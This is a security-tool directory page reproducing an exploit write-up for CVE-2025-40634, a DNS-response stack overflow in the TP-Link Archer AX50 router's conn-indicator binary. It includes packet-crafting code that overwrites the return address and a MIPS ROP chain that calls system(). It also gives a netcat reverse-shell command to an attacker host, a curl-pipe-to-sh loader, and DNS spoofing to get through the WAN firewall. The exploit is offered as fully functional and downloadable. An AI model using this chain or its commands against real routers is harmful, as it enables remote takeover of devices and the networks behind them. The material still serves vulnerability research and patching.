Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-40634 — Exploit for stack-based buffer overflow found in the conn-indicator binary in the TP-Link Archer AX50 router | Kitploit
Tools/GitHubGitHub/hacefresko/cve-2025-40634
Embedded Systems SecurityIoT SecurityExploitationFuzzingPenetration TestingHardware SecurityRemote Access ToolBinary Exploitation
GitHubhacefresko/cve-2025-40634

CVE-2025-40634

Exploit for stack-based buffer overflow found in the conn-indicator binary in the TP-Link Archer AX50 router

View Repository
318310 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-40634

The TP-Link Archer AX50 router is vulnerable to a stack-based buffer overflow on its firmware version 1.0.14 Build 20240108 rel.42655(4555), leading to Remote Code Execution both in the LAN and in the WAN side. This vulnerability has the same root cause as CVE-2020-10881, found by the Flashback team and largely detailed in their video series about it (check references). However, the exploitation process differs a bit, so a new exploit had to be written.

Root cause

This vulnerability occurs in the conn-indicator binary, which is in charge of checking if the router is connected to the internet by periodically sending DNS queries and listening for their responses at a random UDP port between 32000 and 61000.

The function that receives and first processes these DNS response packets is TPDns_RecvAndResolve(), located at 0x00405e3c. When receiving a packet with recvfrom, it is stored in buf, which has a size of 2960 bytes. Then, it checks that the return code is correct (RCODE == 0) and checks the numbers of questions and answers in the packet(QDCOUNT and ANCOUNT). In order to process the answers, it calls process_resolved_IP() and passes it a pointer to buf, answer_ptr, which is a pointer to where the answers are located inside the packet in buf, the number of answers (ANCOUNT) and other flags:

root@kitploit:~
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
  
  [...]
  
  byte buf [2960];
  
  [...]
  
      while( true ) {
        recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
                              local_38);
        piVar2 = __errno_location();
        if (recv_bytes == 0) goto RECV_ERROR;
        if (recv_bytes < 0) break;
        total_recv_bytes = total_recv_bytes + recv_bytes;
        if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
      }

  [...]

                    /* Check that ANCOUNT is not 0 (answer contains at least one domain) */
          puVar5 = (undefined4 *)0x0;
          if (buf._6_2_ != 0) {
            local_40 = 0;
            puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
            answer_ptr = answer_ptr + local_40;
          }

  [...]

Function process_resolved_IP(), located at 0x00405818, traverses each answer and calls DNS_answer_parser() for each one of them. It passes as arguments the same pointer to buf, answer, which is a pointer to the current answer being parsed inside the original packet at buf, and a pointer to current_answer, which is a buffer of size 256:

root@kitploit:~
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
  
  [...]
  
  byte current_answer [256];
  ushort answer_flags [5];
  
  i = 0;
  puVar9 = (undefined4 *)0x0;
  puVar7 = (undefined4 *)0x0;
  answer = answer_ptr;
  do {
                    /* Check if all answers have been parsed already */
    if (i == ANCOUNT) {
      if (param_4 != (undefined4 *)0x0) {
        *param_4 = puVar7;
      }
      if (param_5 != (int *)0x0) {
        *param_5 = (int)answer - (int)answer_ptr;
      }
      return puVar9;
    }
    bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
    memcpy(answer_flags,answer + bytes_processed,10);
    uVar1 = answer_flags._4_4_;
    bytes_processed = bytes_processed + 10;
    uVar6 = (uint)answer_flags[4];
    uVar8 = (uint)answer_flags[0];
    if (uVar8 == 2) {
LAB_00405924:
      DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
    }
    else if (uVar8 < 3) {
      pbVar2 = answer + bytes_processed;
      if (uVar8 == 1) {
        sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
                (uint)pbVar2[3]);
      }
    }
    else {
      if (uVar8 == 5) goto LAB_00405924;
      if (uVar8 == 0x1c) {
        inet_ntop(10,answer,(char *)abStack_240,0xff);
      }
    }
    answer = answer + bytes_processed + uVar6;
  
  [...]

    i = i + 1;
  } while( true );
}

Function DNS_answer_parser(), located at 0x004054e0, parses each answer individually, which consists of a domain name represented as <len><domain><len><domain>.... As an example, example.com would be represented as 7example3com. The function loops through each pair of <len><domain> that constitute the domain name in the answer and checks that <len> is less than 63 (domain_name & 0xc0 != 0). Then, it calls memcpy and copies <len> bytes of answer, corresponding to <domain>, into current_answer. It repeats the process for the next pair of <len><domain> in the domain name.

root@kitploit:~
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
  int iVar1;
  uint __n;
  int iVar2;
  uint uVar3;
  ushort flag_and_offset;
  byte domain_name;
  
  iVar2 = 0;
  do {
    domain_name = *answer;
    __n = (uint)domain_name;
    iVar1 = 1;
    if (__n == 0) {
      *current_answer = 0;
LAB_004055b0:
      return iVar2 + iVar1;
    }
                    /* Check if compression mode is used */
    if ((domain_name & 0xc0) != 0) {
      flag_and_offset = CONCAT11(domain_name,answer[1]);
      DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
      iVar1 = 2;
      goto LAB_004055b0;
    }
    uVar3 = __n + 1;
    if (flag == 0) {
      *current_answer = '.';
      memcpy(current_answer + 1,answer + 1,__n);
      __n = uVar3;
    }
    else {
      memcpy(current_answer,answer + 1,__n);
    }
    answer = answer + uVar3;
    current_answer = current_answer + __n;
    iVar2 = iVar2 + uVar3;
    flag = 0;
  } while( true );
}

Since current_answer is only 256 bytes long, it is possible for an attacker to send a packet with an answer containing a domain name large enough to overflow the buffer.

Exploitation

The exploitation process is very similar to the one explained by Flashback team for CVE-2020-10881 in their video series about it (see references), with some key differences:

  1. Addresses are not the same
  2. Code is not exactly the same, so offsets and the size of the stack in some moments was also not the same
  3. While the first and the third ROP gadgets where the same (located in different addresses), the second one differs in the move instruction, since now the register that is moved to $a2 as the count arg for memcpy() is $s1 instead of $s0.
  4. The i variable in process_resolved_IP() is loaded into $s5 instead of $s8. Then, when compared to $v1, $v1 is taken from $sp+616, which is very far from the overflowed buffer, so the stack had to be corrupted further from the answer and the command.

With this in mind, I will explain the whole process anyways.

The conn-indicator binary has NX enabled and ASLR in everything but itself:

root@kitploit:~
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430       /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430       /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0          [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681       /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681       /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506       /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506       /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509       /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496       /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804       /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872       /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872       /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893       /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893       /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711       /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711       /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709       /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709       /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714       /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714       /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903       /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837       /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0          [stack]
7ffff000-80000000 r-xp 00000000 00:00 0          [vdso]
root@Archer_AX50:/proc/6541# exploit

So the strategy to exploit this vulnerability is to build a ROP chain in which we can execute system() with the desired command.

In order to be able to overflow the buffer and corrupt the $ra register, an attacker needs to send a DNS response with an answer containing a large enough domain name. Regarding the DNS header, the only requirement is that RCODE is 0 and that ANCOUNT is 1, since the packet only needs to contain one answer. As an example, the following packet corrupts the $ra register with 0x50505050:

root@kitploit:~
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f

TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]

# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT

# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
    packet += [DOMAIN_LEN]
    for j in range(0, DOMAIN_LEN):
        packet += [0x41]

# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23

# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]

Now, since the address of the binary is always the same in every execution and it has a writeable area, the plan is to copy the command to be executed there and then call system() with it. To do so, the following ROP chain is used:

  1. This gadget prepares arguments for memcpy(). The address of the next gadget is loaded into $ra. Then, $s2 is moved to $v0. This contains the address of the writeable area of the binary in which the command will be copied to, which will be the dest arg for memcpy(). Then, the count argument for memcpy is loaded into $s1 from a stack address that we control. Finally, it jumps to the next gadget:
root@kitploit:~
00402700  lw      ra, 0x2c(sp)
00402704  move    v0, s2
00402708  lw      s2, 0x28(sp)
0040270c  lw      s1, 0x24(sp)
00402710  lw      s0, 0x20(sp)
00402714  jr      ra
00402718  addiu   sp, sp, 0x30
  1. This gadget continues preparing arguments for memcpy() and then calls it. The dest arg for memcpy(), corresponding to the writable area of the binary, which was in $v0, is loaded into $a0 as the first param of memcpy(). At this point in the execution, $a1 points to the end of the answer in the DNS response packet, which is where we have placed our command string, so there is no need to prepare the src parameter. Then, $s1, which contains the count parameter loaded in the previous gadget, is moved to $a2 as the third parameter for memcpy(). Lastly, memcpy() is called and the command string is copied into the writable area of the binary. This gadget is located at the end of , so now the execution continues inside it. The stack needs to be arranged now so the function can successfully return. To do so, some variables from this function which are loaded from the stack and from some registers are carefully placed in the payload, such as , , and . When returning, the address of the is taken again from the stack, in which we place the address of the next gadget to jump there.
root@kitploit:~
00405a98  move    a0, v0
00405a9c  jal     <EXTERNAL>:memcpy
00405aa0  _move   a2, s1

[...]
  1. This gadget prepares the argument for system() and calls it. At this point in the execution, $v0 contains the value of $s3, in which we have placed the address of the writable area in the binary, containing the command now. So, $v0 is moved to $a0. Then, the address of system(), which is imported into the binary, is placed from the stack into $ra and system() is called, achieving code execution.
root@kitploit:~
004065e8  move    a0, v0
004065ec  clear   v0
004065f0  lw      ra, 0x1c(sp)
004065f4  jr      ra

Now, the reverse shell to be executed in the target, which runs busybox, is the following one:

root@kitploit:~
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f

However, the command to be executed must be shorter than 62 characters and, since the file system is only writeable at /tmp, it was impossible to execute the reverse shell directly. Instead, a loader was executed: curl http://<attacker>:<port>/ | sh, which retrieves the reverse shell from the attacker.

Now, the only thing left is to bruteforce the port in which conn-indicator is listening, which can be easily automated.

Up to this point, this exploit would only work on the LAN side, since the WAN side is firewalled. However, there is a way to bypass this restriction. In order for conn-indicator to receive the DNS responses, the firewall allows packets that come from the same IP as the DNS queries sent by the binary, this is, packets that come from the DNS that the target router is using. Thus, to bypass the firewall, it's enough to send spoofed packets as the DNS server, which if the target is in a local network will probably be something like 192.168.0.1, 192.168.1.1 or 10.0.0.1, and if the target is directly connected to the Internet, will probably be something like 8.8.8.8, 1.1.1.1 or other common DNS servers.

The fully functional exploit works both for LAN and WAN. LAN mode bruteforces every port from 32000 to 61000 and WAN mode bruteforces the same ports and all the possible DNS IPs, which are stored in the SPOOF_LIST. This list should be edited based in the knowledge of the attacker about the target, however, given enough time (minutes) it should cover 90% of cases.

References

  • TP-Link Archer AX50 official page
  • Flashback Team - DNS Remote Code Execution: Finding the Vulnerability 👾 (Part 1)
  • Flashback Team - DNS Remote Code Execution: Writing the Exploit 💣 (Part 2)
Download Tool
  • The file system is read-only except for /tmp, so all writes and reads must be done there. This makes it impossible for the reverse shell to be less than 62 chars, so in order to deploy it to the target, it must be served from a web server and a command to download and execute it must be sent to the target.
  • process_resolved_IP()
    ANCOUNT
    param_4
    param_5
    i
    $ra